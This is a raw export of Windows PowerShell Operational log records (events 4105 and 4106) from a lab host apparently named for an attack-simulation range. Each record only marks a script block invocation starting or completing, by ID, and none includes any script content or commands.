Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050831
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050825
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050803
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050802
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050801
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050800
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050784
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
